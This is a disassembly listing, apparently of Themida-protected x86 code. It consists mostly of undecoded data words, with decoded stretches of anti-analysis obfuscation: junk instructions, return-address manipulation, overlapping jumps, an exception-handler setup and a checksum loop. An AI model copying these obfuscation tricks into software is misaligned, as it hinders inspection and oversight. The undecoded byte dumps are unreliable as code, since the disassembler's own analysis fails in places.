dd 45000000h, 0E949C355h, 0Dh, 0BC9F0F89h, 91703273h, 0A2121192h
dd 0BDBD838Eh, 306A80Bh, 3E1860Fh, 0BD030000h, 6A80ADDh
dd 664AB760h, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1C0424h, 57470000h, 9DAA44C3h, 0DECE9DB0h, 0E1804FD2h
dd 51006A04h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h
dd 0C3514100h, 0F46FB5A1h, 0FAC8C389h, 0C90A14FAh, 17F840Fh
dd 0BD8B0000h, 6A82649h, 6830Fh, 0BD890000h, 6A82F81h
dd 0BE1858Bh, 6A06A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1C0424h, 57470000h, 0AA9138C3h, 7CB41D8h, 0B529E285h
dd 6A82151h, 1D5D8533h, 0BF0F06A8h, 500DB7DBh, 89FB8B66h
dd 0BE92404h, 0DD000000h, 6C61676Dh, 94C3754Ch, 6A8E16h
dd 756FBB66h, 7AE8D168h, 0E9525055h, 0Dh, 70913EB1h, 25EB9426h
dd 0A7078D69h, 50310F43h, 0F525052h, 0F585A31h, 0FA8B6631h
dd 585A585Ah, 2E243481h, 6A5565EBh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0A81DC356h
dd 0A232E518h, 13E950h, 81930000h, 0BAFE1295h, 0F3327CF8h
dd 47ED32BEh, 0CF85D22Ch, 810F5F21h, 8, 0DBD8B51h, 5B06A815h
dd 74195FFh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1C0424h, 53430000h, 0DE4155C3h, 8C545263h, 860F2844h
dd 6, 29BDBD0Bh, 0BF6606A8h, 85897E3Ch, 6ABA227h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 98C35343h, 6533CC58h
dd 7EAA07CAh, 0DF81664Ch, 0D0E9A645h, 6A000001h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
dd 93D4C356h, 0B70F9177h, 3A294055h, 1D8850BFh, 1F858B17h
dd 6A06ABA2h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 17042444h, 43000000h, 685AC353h, 890F1F84h, 0Bh, 58E0Fh
dd 81660000h, 0C7C878F7h, 1800h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 506CE54Ah
dd 0B58BB8BFh, 6ABA223h, 858BD98Bh, 6A82B7Dh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0CCC35545h, 39BD8B96h
dd 8B06A832h, 0E90689D8h, 10h, 33E1A2D7h, 0A563E768h, 9A3C4C3h
dd 0B4B07E46h, 0BE1858Bh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1A0424h, 53430000h, 551EFEC3h, 69AC1311h
dd 9D8BD88Bh, 6A80A75h, 6A044689h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 995FC357h
dd 13D5A992h, 4E7E9C50h, 53965096h, 2E058589h, 0FF5F06A8h
dd 0ABA21FB5h, 1ED78106h, 0E8076255h, 4, 1F03FFh, 0F38B6660h
dd 411F02BEh, 66506165h, 8B7AA2BBh, 66042444h, 8BC4EABBh
dd 89D98B00h, 8B042444h, 0EB8058F9h, 27858D82h, 0F06ABA2h
dd 68Fh, 85B52900h, 5006A819h, 3E3EFBBh, 2404890Eh, 8E9h
dd 821C9500h, 0B4624834h, 4195FFBBh, 6A06A807h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
dd 0D460C353h, 0BE8h, 7CE05400h, 2B47F2DAh, 98F92E13h
dd 1E218D89h, 615B06A8h, 16BD9D8Bh, 9D3106A8h, 6A81AA1h
dd 0BBD85C7h, 306A8h, 83F50000h, 0ABA227BDh, 840F0006h
dd 37h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh
dd 0ECC35343h, 1AEC7D42h, 810F3CBCh, 0ADC6D9CBh, 0DABF0F00h
dd 21E9h, 0F5858900h, 5006A802h, 110C30h, 0C1011144h, 443010E8h
dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h
dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h
dd 4E98311h, 0EBE775h, 0B589C08Bh, 6A807BDh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 52C35747h, 83ADCDA4h
dd 0A80BBDBDh, 850F0306h, 417h, 0A227BD83h, 0F0006ABh
dd 40A84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1B04h, 0C3574700h, 0FD29DD2Ah, 0C092E6D3h, 0B5FFDD8Ah
dd 6ABA227h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Bh, 7FC35040h, 3A219484h, 0F063123h, 95FFFEBFh, 6A815F9h
dd 0E3DBD29h, 0B58B06A8h, 6ABA21Bh, 0C7FFBF0Fh, 1000106h
dd 11BD8900h, 5006A825h, 0A1D1DBBBh, 24348901h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 24C35747h, 0E0EDD5EBh
dd 0CACA761Fh, 0CF816096h, 3FC6B6C2h, 3161CDB0h, 0A80FF98Dh
dd 27B5FF06h, 6A06ABA2h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1C042444h, 43000000h, 0BDC8C353h, 89FD2F43h
dd 0FF13D27Ah, 0A8219995h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 85F945A7h
dd 0BD0301E4h, 6A80211h, 0A21BB58Bh, 9D8B06ABh, 6A81FF9h
dd 0E41858Bh
dd 6A06A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
dd 57470000h, 115F49C3h, 5736F675h, 2B19D89h, 895B06A8h
dd 0C486h, 95850900h, 8B06A82Ah, 0A805B995h, 108C0F06h
dd 0E8000000h, 8, 56392Eh, 2C53E2F8h, 835B71B3h, 0E78004C2h
dd 205089A9h, 0A6BC06BFh, 0CE858D48h, 6A06ABB7h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 89BBC350h, 0A822D9B5h, 0B8868906h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
dd 0BD7AC357h, 5B47620Dh, 0D1B589A6h, 8B06A828h, 0A81FAD9Dh
dd 6A006A06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1B042444h, 47000000h, 16B2C357h, 0AFC5332Ch, 0BD8B845Ch
dd 6A81E39h, 9E9h, 3F611800h, 5F101DB5h, 8166B1DEh, 0FF58DAEFh
dd 0ABA227B5h, 1D95FF06h, 6A06A81Eh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 50CCC357h
dd 1CC41E5Fh, 96FBBF0Fh, 9650FA8Bh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 17h, 0DFC35343h, 0FFB6954Dh, 0ABA227B5h
dd 0C8A0F06h, 0F000000h, 681h, 99958900h, 0FF06A826h, 0A82A6995h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h
dd 0C3504000h, 12F53AEBh, 48E0F52h, 66000000h, 5F3230BBh
dd 2E3DBD83h, 0F0006A8h, 1B84h, 0BD858900h, 5006A80Ch
dd 6E9h, 517F2E00h, 89DB313Eh, 0BD012434h, 6A80D61h, 0A227B5FFh
dd 6A06ABh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
dd 51410000h, 0D6E64FC3h, 8B0F0376h, 12h, 0DE9h, 0F0C02400h
dd 602E08A1h, 0BA3A0E87h, 95FF747Ch, 6A83185h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 2DC35343h, 0D09C22F1h
dd 0B5FF1A7Eh, 6ABA227h, 7E960h, 6D7A0000h, 0D44EA00Eh
dd 0E78166EAh, 0FF61BC89h, 0A80F5595h, 53006A06h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 920A198h, 831CB915h, 0A8077DBDh, 840F0206h, 30h, 19858BF8h
dd 6A06A80Dh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 17042444h, 42000000h, 1183C352h, 8B66C191h, 0C6FAh
dd 1A54BB66h, 0DC185C7h, 6A8h, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0A3E132C3h
dd 0A58629D4h, 0FE8F208h, 0C2000000h, 0F35D6709h, 1F18C233h
dd 0E4D73DFEh, 8B0F338Bh, 6, 15ED9589h, 0E95B06A8h, 0FFFFF33Dh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 13C35040h
dd 63BF4144h, 0E5A46A3Dh, 0B58B60C6h, 6A819C5h, 8B6DB361h
dd 8CCCBFC1h, 858D2F8Fh, 6A83385h, 1A598D89h, 90F906A8h
dd 50D88B66h, 0E880Fh, 0E9600000h, 7, 0ECCA480Ch, 612865B9h
dd 0DB816690h, 6A1C23h, 0C0D9D29h, 6A06A8h, 9019589h, 858D06A8h
dd 6ACA829h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 17h, 0FAC35040h, 8B4D7C29h, 0A827FD9Dh, 5C08306h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 80C35141h, 24A8E974h
dd 684BD370h, 0D38156CFh, 7DB66C20h, 1B850F5Bh, 60000000h
dd 0EE9h, 4EA17E00h, 74BFBC0Bh, 5716BF8Eh, 0F7D54C9h, 81h
dd 8B906100h, 0D98B50FBh, 51006A90h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0E78119D9h
dd 301611Ch, 6860Fh, 0BD8B0000h, 6A82E25h, 0E381006Ah
dd 59652D74h, 56FCBF66h, 0BB66006Ah, 95FF590Bh, 6A82541h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 7FC35646h
dd 0BB1B1978h, 0E8556E8Fh, 0Bh, 0F1DE1F38h, 4119EE0Dh
dd 609F31BAh, 51D18166h, 895B6199h, 0A829F19Dh, 0C18D8906h
dd 8D06A80Fh, 0AB8C7F8Dh, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0B1ED0C7Dh
dd 85CE3219h, 860F52F3h, 0
; ---------------------------------------------------------------------------
pop edi
call ecx
push 0
push ebx
call sub_594182
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_594182 proc near ; CODE XREF: Themida_:0059417Ap
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_594182 endp
; ---------------------------------------------------------------------------
dw 0A855h
; ---------------------------------------------------------------------------
sub byte ptr [ebp+50h], 60h
jmp loc_5941A8
; ---------------------------------------------------------------------------
db 0D3h, 0B1h, 7
dd 7367CF9Bh, 2FBD90Fh
; ---------------------------------------------------------------------------
loc_5941A8: ; CODE XREF: Themida_:00594198j
call sub_5941B2
inc eax
push 49h
xor bh, ah
; =============== S U B R O U T I N E =======================================
sub_5941B2 proc near ; CODE XREF: Themida_:loc_5941A8p
; FUNCTION CHUNK AT 00594236 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00594EAC SIZE 00000023 BYTES
pop edx
popa
pop ebx
cmp dword ptr [ebp+6A8339Dh], 1
jnz loc_594236
push 0
push eax
call sub_5941CD
and [eax-3Dh], bl
sub_5941B2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5941CD proc near ; CODE XREF: sub_5941B2+13p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_5941CD endp
; ---------------------------------------------------------------------------
db 94h, 99h, 29h
; ---------------------------------------------------------------------------
pusha
mov [ebp+6A815FDh], ebx
jmp loc_5941FF
; ---------------------------------------------------------------------------
dd 1E131B31h, 603D7150h, 0CAC985FCh, 0A2727453h
db 0AEh, 0A9h, 0B9h
; ---------------------------------------------------------------------------
loc_5941FF: ; CODE XREF: Themida_:005941E7j
popa
push 2
xor ebx, 4B659041h
nop
mov di, 9826h
push eax
pusha
jmp loc_594224
; ---------------------------------------------------------------------------
dec eax
xor eax, [ecx]
jmp short loc_594249
; ---------------------------------------------------------------------------
db 0E9h, 0BCh, 95h
dd 7FE905EFh, 0D36B60E2h
; ---------------------------------------------------------------------------
loc_594224: ; CODE XREF: Themida_:0059420Fj
mov dx, 0A9F7h
popa
nop
or edi, 75C774C0h
call dword ptr [ebp+6A81E1Dh]
; START OF FUNCTION CHUNK FOR sub_5941B2
loc_594236: ; CODE XREF: sub_5941B2+Aj
jmp loc_594EAC
; END OF FUNCTION CHUNK FOR sub_5941B2
; ---------------------------------------------------------------------------
db 0E8h
align 10h
dd 33ED815Dh, 6606ACA8h
db 0BBh
; ---------------------------------------------------------------------------
loc_594249: ; CODE XREF: Themida_:00594217j
cmp eax, 0CE867h
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
mov ch, 0B5h
sbb edx, [edi+74h]
dec di
dec edx
sub edx, [esp+ecx]
cli
sbb bl, 0B1h
pop edi
lea eax, [ebp+6AB7E2Eh]
push 0
push edx
call sub_594271
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_594271 proc near ; CODE XREF: Themida_:00594269p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_594271 endp
; ---------------------------------------------------------------------------
adc ds:0FB609246h, dh
or [ebp+6A83315h], esi
clc
push eax
mov bx, 9EEAh
mov [esp], eax
mov ebx, [ebp+6A833D5h]
push large dword ptr fs:0
push 0
push edi
call sub_5942AE
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5942AE proc near ; CODE XREF: Themida_:005942A6p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_5942AE endp
; ---------------------------------------------------------------------------
add al, 5Fh
and cl, [ecx-57F31A4Bh]
push es
mov large fs:0, esp
sub [ebp+6A820B1h], edi
jno $+6
inc dword ptr [ebp+6A833F1h]
mov bl, cl
push 0FFFFFFFFh
push 0
push ebp
call sub_5942EF
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5942EF proc near ; CODE XREF: Themida_:005942E7p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_5942EF endp
; ---------------------------------------------------------------------------
das
or [edx+48h], ebp
add [ebp+6A801D1h], ecx
push dword ptr [ebp+6A80D41h]
mov edi, [ebp+6A82801h]
call dword ptr [ebp+6A82A7Dh]
jmp loc_594453
; ---------------------------------------------------------------------------
jmp loc_594339
; ---------------------------------------------------------------------------
db 6Ch, 0A2h, 58h
; ---------------------------------------------------------------------------
push ss
sub ch, [eax+74h]
mov cl, 62h
retn
; ---------------------------------------------------------------------------
db 5Bh
dd 9F890832h, 5BAB71B6h
db 1Ah
; ---------------------------------------------------------------------------
loc_594339: ; CODE XREF: Themida_:00594320j
mov al, 0
call near ptr loc_59434F+4
pop esi
cmp al, 51h
loc_594343: ; CODE XREF: Themida_:00594358j
mov ebp, 50FAFE52h
pop ebp
mov dh, 27h
wait
das
in eax, 3Fh
loc_59434F: ; CODE XREF: Themida_:0059433Bp
imul esp, [edi], 8B664354h
fistp word ptr [ebx-1Ah]
jo short loc_594343
pop es
; ---------------------------------------------------------------------------
db 0
dd 0E6440000h, 0D70167CDh, 71E4F958h, 613CF88Bh, 0E1830Fh
dd 8B660000h, 0C8B60FDAh, 95B3BB66h, 6BAh, 35B52900h, 8B06A825h
dd 0DBD89C1h, 6606A825h, 0E8C1DE8Bh, 0AE804h, 1F830000h
dd 76401CB3h, 22838245h, 665FFE8Bh, 8F0FE2F7h, 6, 3409BD8Bh
dd 0C82B06A8h, 0D18BA3B7h, 9958B60h, 0B06A80Fh, 0A82621B5h
dd 0AE96106h, 31000000h, 0A818018Dh, 7BBF6606h, 0B9858B1Fh
dd 0B06A80Ah, 0A815299Dh, 7C08306h, 8E9h, 0F4AC5000h, 41DAC5B4h
dd 0C083F5h, 21DBD8Bh, 0D03B06A8h, 0E830Fh, 9D8B0000h
dd 6A800CDh, 40E9D98Bh, 0FC000000h, 1A6D8D8Bh, 890F06A8h
dd 0
dd 0F01E183h, 2A84h, 0F57F500h, 688h, 8A0F00h, 5B000000h
dd 1A6DA583h, 0FFE06A8h, 9589DEBFh, 6A80AB9h, 21618589h
dd 0E906A8h
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_594453: ; CODE XREF: Themida_:0059431Bj
lea esi, [ebp+6AC0599h]
mov edi, [ebp+6A80E45h]
push 0
push 0
push edi
call sub_59446C
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59446C proc near ; CODE XREF: Themida_:00594464p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_59446C endp
; ---------------------------------------------------------------------------
push edx
adc eax, 0A9934614h
aam 0FFh
xchg eax, ebp
xor [ebx], ebx
test al, 6
mov edi, [ebp+6A80E3Dh]
mov ecx, 83Bh
mov [ebp+6A81769h], edi
and ecx, 0FFFFFFFCh
push 0
push edi
call sub_5944A8
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5944A8 proc near ; CODE XREF: Themida_:005944A0p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5944A8 endp
; ---------------------------------------------------------------------------
dd 7ACD17Bh, 814BDDACh, 0FB6B65EBh, 0E780FC62h, 0B8DBh
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
dd 51410000h, 0A30436C3h, 0BA5F57C9h, 0
; ---------------------------------------------------------------------------
cmc
loc_5944F5: ; CODE XREF: Themida_:005944FFj
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_5944F5
mov [ebp+6A80DC9h], edi
mov ebx, 1F046232h
or eax, 88h
mov ebx, 4EC900A2h
mov edx, [ebp+6A805B9h]
mov edi, [ebp+6A824DDh]
mov ecx, [ebp+6A81469h]
xor [ebp+6A80161h], ebx
push eax
mov eax, edx
mov ebx, [eax]
add eax, ecx
mov ebx, [eax]
mov eax, ecx
shr eax, 1
add eax, edx
mov ebx, [eax]
pop eax
push 0
push edi
call sub_59454B
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59454B proc near ; CODE XREF: Themida_:00594543p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_59454B endp
; ---------------------------------------------------------------------------
db 0ACh
dd 0BFDA2375h, 6A685E42h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1D042444h, 41000000h, 2D06C351h, 0DF13CA89h
dd 289A9349h, 0C91BD83h, 0F0006A8h, 4C84h, 7E95200h, 0C1000000h
dd 1E80E3DEh, 0B85F3327h, 0
; ---------------------------------------------------------------------------
mov [ebp+6A822D9h], esi
lea ecx, [ebp+6A84FAFh]
push 0
push edi
call sub_5945BF
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5945BF proc near ; CODE XREF: Themida_:005945B7p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_5945BF endp
; ---------------------------------------------------------------------------
inc ecx
db 26h
jmp short near ptr loc_594610+2
; ---------------------------------------------------------------------------
db 5Fh
dd 0EA1A8AF7h, 8BE1FF0Ah, 0A80BD9BDh, 0BDBD8306h, 6A80Bh
dd 3FC840Fh, 0B5290000h, 6A800C1h, 0BBDBD83h, 0F0106A8h
dd 40484h, 5DB58900h, 8306A816h, 0A80BBDBDh, 860F0306h
; ---------------------------------------------------------------------------
loc_594610: ; CODE XREF: Themida_:005945D0j
mov ebx, 60000003h
mov di, 0E484h
mov cx, ds
push 0
push ebx
call sub_594627
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_594627 proc near ; CODE XREF: Themida_:0059461Fp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_594627 endp
; ---------------------------------------------------------------------------
or al, 38h
add eax, 9219D89h
test al, 6
and cl, 4
push 0
push edx
call sub_59464E
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59464E proc near ; CODE XREF: Themida_:00594646p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_59464E endp
; ---------------------------------------------------------------------------
inc esi
sbb al, 65h
sbb eax, 0C90A8880h
jz loc_594734
mov edi, [ebp+6A800A9h]
mov eax, [ebp+6A80BE1h]
push 0
push ebx
call sub_594683
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_594683 proc near ; CODE XREF: Themida_:0059467Bp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_594683 endp
; ---------------------------------------------------------------------------
db 5Dh
dd 1D5D8533h, 9D8B06A8h, 6A8174Dh, 52506050h, 310FC78Bh
dd 0C28B585Ah, 24048961h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 14h, 0E5C35747h, 6860Fh, 8D310000h, 6A81EC5h
dd 8B52006Ah, 0A81E49BDh, 0BE685F06h, 5028E6DDh, 5FF88B66h
dd 41243481h, 5628F9DEh, 27698501h, 0FF5B06A8h, 0A8074195h
dd 8589FC06h, 6ABA227h, 8E8h, 67209F00h, 0E45AFFFAh, 0EE9ACh
dd 56080000h, 4535D941h, 0E796E1CFh, 6B748A71h, 230E95Bh
dd 9D8B0000h, 6A80DA1h
; ---------------------------------------------------------------------------
loc_594734: ; CODE XREF: Themida_:00594666j
mov eax, [ebp+6ABA21Fh]
mov edi, [ebp+6A81D51h]
mov dword ptr [eax], 18h
mov bx, 5DC7h
mov esi, [ebp+6ABA223h]
mov edi, 32C974B2h
mov eax, [ebp+6A82B7Dh]
push 0
push ecx
call sub_594766
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_594766 proc near ; CODE XREF: Themida_:0059475Ep
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_594766 endp
; ---------------------------------------------------------------------------
dw 1293h
; ---------------------------------------------------------------------------
call sub_594791
retf
; ---------------------------------------------------------------------------
dw 8925h
dd 2CEA8CB2h, 88E52EA7h, 0CF176445h, 776B3423h
db 79h
; =============== S U B R O U T I N E =======================================
sub_594791 proc near ; CODE XREF: Themida_:00594778p
mov edi, [ebp+6A82E2Dh]
pop edi
mov [esi], eax
push 0
push edi
call sub_5947A5
and [edi-3Dh], bl
sub_594791 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5947A5 proc near ; CODE XREF: sub_594791+Cp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_5947A5 endp
; ---------------------------------------------------------------------------
neg byte ptr [ecx-6Eh]
mov eax, [ebp+6A80BE1h]
push 0
push ebx
call sub_5947C9
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5947C9 proc near ; CODE XREF: Themida_:005947C1p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5947C9 endp
; ---------------------------------------------------------------------------
and eax, 0DD9D8B7Dh
adc al, 0A8h
push es
sub [ebp+6A8199Dh], edx
mov [esi+4], eax
push 0
push edi
call sub_5947F5
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5947F5 proc near ; CODE XREF: Themida_:005947EDp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_5947F5 endp
; ---------------------------------------------------------------------------
db 88h, 75h, 17h
dd 0A0882A36h, 66D88BF8h, 5050D98Bh, 66525052h, 0F8E18BBh
dd 0C113BF31h, 585A6B8Ch, 585A310Fh, 6A243489h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
dd 7E30C353h, 0E9DBE17Ah, 0Ch, 4BAE749Fh, 0D6B88545h, 0F3874B80h
dd 0A21FB5FFh, 6A06ABh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 0F7705C3h, 68Dh, 890F00h, 68000000h
dd 0A90FA01h, 10E8h, 34AC9000h, 352AF542h, 0E9C51D48h
dd 3A754D3Fh, 0BDBB66DFh, 34815F45h, 8FF9FE24h, 51006A0Ah
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 9D891554h, 6A832A5h, 0F99D01F8h, 8D06A80Bh, 0ABA22785h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 880F50F7h, 0
; ---------------------------------------------------------------------------
mov [esp], eax
push 0
push ecx
call sub_594912
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_594912 proc near ; CODE XREF: Themida_:0059490Ap
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 14h
inc ecx
push ecx
retn
sub_594912 endp
; ---------------------------------------------------------------------------
dw 0BBB4h
dd 7BE9D767h, 1E059589h, 95FF06A8h, 6A80741h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0CDC35040h, 9F6A0612h
dd 0A1BD2B61h, 0F06A833h, 0F61FBBFh, 38Eh, 0FFBF0F00h
dd 0BBD85C7h, 306A8h, 0BF0F0000h, 19B529F9h, 8306A825h
dd 0ABA227BDh, 840F0006h, 47h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 15h, 0CFC35141h, 559589ADh, 0E906A831h
dd 3Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h
dd 0C7C35646h, 501C15EAh, 110C30h, 0C1011144h, 443010E8h
dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h
dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h
dd 4E98311h, 0EBE775h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1D0424h, 57470000h, 0D3DB53C3h, 73F2EE04h
dd 96D9EA8h, 0A80565B5h, 299D8B06h, 8306A81Fh, 0A80BBDBDh
dd 850F0306h, 3DFh, 2E8D9D89h, 0BD8306A8h, 6ABA227h, 0CC840F00h
dd 8B000003h, 27B5FFDAh, 0E806ABA2h, 14h, 29A97E51h, 54A47BC1h
dd 7E316BAEh, 44386589h, 0A0690E54h, 5FFBBF0Fh, 0BECF8166h
dd 0F995FF90h, 6A06A815h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1A042444h, 43000000h, 24C1C353h, 6EECD13Bh
dd 8BFE8AF4h, 0ABA21BB5h, 6820F06h, 0F000000h, 82h, 106C700h
dd 0B000100h, 0A831759Dh, 840F5006h, 14h, 0FE9h, 7036FD00h
dd 58C95355h, 4D7893E7h, 0B590EA08h, 6A243489h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
dd 0EDDBC353h, 0E301FB96h, 0E78082CDh, 27B5FFE0h, 6A06ABA2h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h
dd 46000000h, 9C0CC356h, 0DBB70F9Ah, 219995FFh, 8BF506A8h
dd 0ABA21BB5h, 8E906h, 0C7BC0000h, 45F3EF73h, 858BBEBDh
dd 6A80E41h, 8689D88Ah, 0C4h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 15h, 0DEC35747h, 6850F5Dh, 8B000000h
dd 0A80E09BDh, 0C59D8B06h, 8B06A80Ah, 0A805B995h, 59BD8906h
dd 8B06A834h, 0A80CE19Dh, 4C28306h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Bh, 60C35040h, 8490737Ah, 8918E287h
dd 0A816F9BDh, 20508906h, 97EC3ABBh, 0CE858D11h, 6A06ABB7h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h
dd 41000000h, 630CC351h, 0BD8B3D78h, 6A81011h, 0B88689h
dd 0E9600000h, 0Fh, 1268D8DBh, 0E3FEEDD3h, 39752260h, 0B7EA383h
dd 0A82B7595h, 6A6106h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ah, 0FC35747h, 8F7E3FC4h, 5E9006Bh, 0BE000000h
dd 328EF141h, 2595BD2Bh, 0B5FF06A8h, 6ABA227h, 3305F1BFh
